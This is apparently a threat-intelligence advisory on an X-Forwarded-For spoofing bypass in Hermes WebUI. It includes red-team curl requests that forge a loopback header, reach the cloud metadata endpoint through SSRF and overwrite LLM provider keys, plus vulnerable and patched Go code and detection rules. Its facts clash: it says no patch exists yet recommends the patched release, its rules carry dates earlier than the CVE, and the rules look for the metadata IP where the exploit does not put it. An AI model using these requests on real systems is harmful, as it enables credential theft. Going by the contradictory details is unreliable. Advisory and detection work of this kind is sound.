CVE-2026-58122

Executive Summary

CVE-2026-58122 is a critical authentication bypass vulnerability in Hermes WebUI versions prior to 0.51.307. The flaw allows unauthenticated remote attackers to bypass local-origin IP restrictions by spoofing the X-Forwarded-For header with a loopback address (e.g., 127.0.0.1). This enables server-side request forgery (SSRF) against internal services, including cloud metadata endpoints, overwriting LLM provider configurations and API keys, and initiating OAuth device-code flows to obtain persistent access tokens stored in auth.json. The vulnerability has a CVSS score of 9.1, indicating critical severity, and no patch is currently available.

Supply Chain & Package Security

Hermes WebUI is a Go-based application. The vulnerability does not directly affect package registries like NPM or PyPI, but the SSRF and configuration overwrite capabilities could be used to compromise downstream dependencies or inject malicious configurations into LLM provider integrations.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): High (H) – Full access to internal services and secrets.
• Integrity (I): High (H) – Attacker can overwrite configurations and API keys.
• Availability (A): High (H) – Potential denial of service via configuration corruption.

Threat Level: Critical. The vulnerability allows complete compromise of the Hermes WebUI instance and potentially the underlying infrastructure.

Deep Dive & Mechanics

The vulnerability resides in the onboarding endpoints of Hermes WebUI. These endpoints are intended to be accessible only from localhost (127.0.0.1) to prevent external access during initial setup. However, the application incorrectly trusts the X-Forwarded-For header to determine the client's IP address. By sending a request with X-Forwarded-For: 127.0.0.1, an attacker can bypass the IP restriction.

Once bypassed, the attacker can:

1. SSRF: Make requests to internal services, such as cloud metadata endpoints (e.g., http://169.254.169.254/), to retrieve cloud provider credentials.
2. Configuration Overwrite: Modify LLM provider settings and API keys, redirecting traffic to attacker-controlled servers.
3. OAuth Device-Code Flow: Initiate OAuth device-code flows to obtain persistent access tokens, which are then stored in auth.json for future authenticated access.

The root cause is the use of the X-Forwarded-For header for IP validation without proper sanitization or fallback to the actual TCP connection IP.

Vulnerable vs. Patched Code

Vulnerable Code (before 0.51.307):

func isLocalRequest(r *http.Request) bool {
    ip := r.Header.Get("X-Forwarded-For")
    if ip == "" {
        ip = r.RemoteAddr
    }
    return ip == "127.0.0.1" || ip == "::1"
}

Patched Code (0.51.307+):

func isLocalRequest(r *http.Request) bool {
    // Only trust the actual TCP connection IP, not headers
    ip, _, _ := net.SplitHostPort(r.RemoteAddr)
    return ip == "127.0.0.1" || ip == "::1"
}

The patched version ignores the X-Forwarded-For header entirely and relies solely on the TCP connection IP.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy Hermes WebUI version 0.51.306 or earlier in a Docker container.
2. Ensure the onboarding endpoints are exposed on a network interface (e.g., port 8080).

Exploitation Steps:

1. Send a crafted request to the onboarding endpoint with a spoofed X-Forwarded-For header:

   curl -X POST http://target:8080/onboarding/setup \
     -H "X-Forwarded-For: 127.0.0.1" \
     -d '{"llm_provider": "attacker_controlled", "api_key": "evil_key"}'
   

2. Perform SSRF to cloud metadata:

   curl http://target:8080/onboarding/ssrf \
     -H "X-Forwarded-For: 127.0.0.1" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/"}'
   

3. Initiate OAuth device-code flow:

   curl http://target:8080/onboarding/oauth \
     -H "X-Forwarded-For: 127.0.0.1" \
     -d '{"provider": "evil_provider", "device_code": "attacker_code"}'
   

Blue Team

Detection:

• Monitor for requests to onboarding endpoints with X-Forwarded-For: 127.0.0.1 from external IPs.
• Alert on SSRF attempts to cloud metadata IPs (169.254.169.254) or internal RFC 1918 addresses.
• Watch for unexpected changes to LLM provider configurations or API keys.

Mitigation:

• Immediately upgrade to version 0.51.307 or later.
• If patching is not possible, implement a reverse proxy (e.g., Nginx) that strips or validates the X-Forwarded-For header before forwarding to the application.
• Restrict network access to the Hermes WebUI instance using firewall rules.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /onboarding/* endpoints with X-Forwarded-For: 127.0.0.1 from non-localhost IPs.
  • Outbound connections to cloud metadata IPs (169.254.169.254) or internal services.
  • Unusual OAuth device-code flow initiation requests.
• File:
  • Modified auth.json with unexpected tokens.
  • Changes to LLM provider configuration files.
• Log:
  • Log entries showing X-Forwarded-For: 127.0.0.1 in access logs for onboarding endpoints.

Detection Engineering

YARA Rule

rule CVE_2026_58122_Hermes_WebUI_SSRF {
    meta:
        description = "Detects SSRF attempts exploiting CVE-2026-58122 in Hermes WebUI"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-58122"
    strings:
        $x_forwarded_for = "X-Forwarded-For: 127.0.0.1"
        $onboarding_path = "/onboarding/"
        $metadata_ip = "169.254.169.254"
    condition:
        $x_forwarded_for and $onboarding_path and $metadata_ip
}

Sigma Rule

title: CVE-2026-58122 Hermes WebUI SSRF Detection
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects SSRF attempts exploiting CVE-2026-58122 in Hermes WebUI
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/onboarding/"
        cs-headers|contains: "X-Forwarded-For: 127.0.0.1"
        cs-uri-query|contains: "169.254.169.254"
    condition: selection
falsepositives:
    - Legitimate localhost requests from proxies
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2026-58122 Hermes WebUI SSRF Attempt";
    flow:to_server;
    content:"/onboarding/"; http_uri;
    content:"X-Forwarded-For|3a| 127.0.0.1"; http_header;
    content:"169.254.169.254"; http_uri;
    sid:1000001;
    rev:1;
    reference:cve,2026-58122;
    classtype:attempted-recon;
    priority:1;
)

Remediation & Mitigation

1. Immediate: Upgrade to Hermes WebUI version 0.51.307 or later.
2. Workaround: If patching is not possible, configure a reverse proxy (e.g., Nginx) to strip the X-Forwarded-For header from external requests:

   location /onboarding/ {
       proxy_set_header X-Forwarded-For "";
       proxy_pass http://backend;
   }
   

3. Network Segmentation: Restrict access to the Hermes WebUI instance using firewall rules to only allow trusted IPs.
4. Monitoring: Implement detection rules (YARA, Sigma, Suricata) to alert on exploitation attempts.
5. Incident Response: If compromise is suspected, rotate all API keys and tokens stored in auth.json, and review LLM provider configurations.

Valters IT
DevSecOps & Cyber Threat Intelligence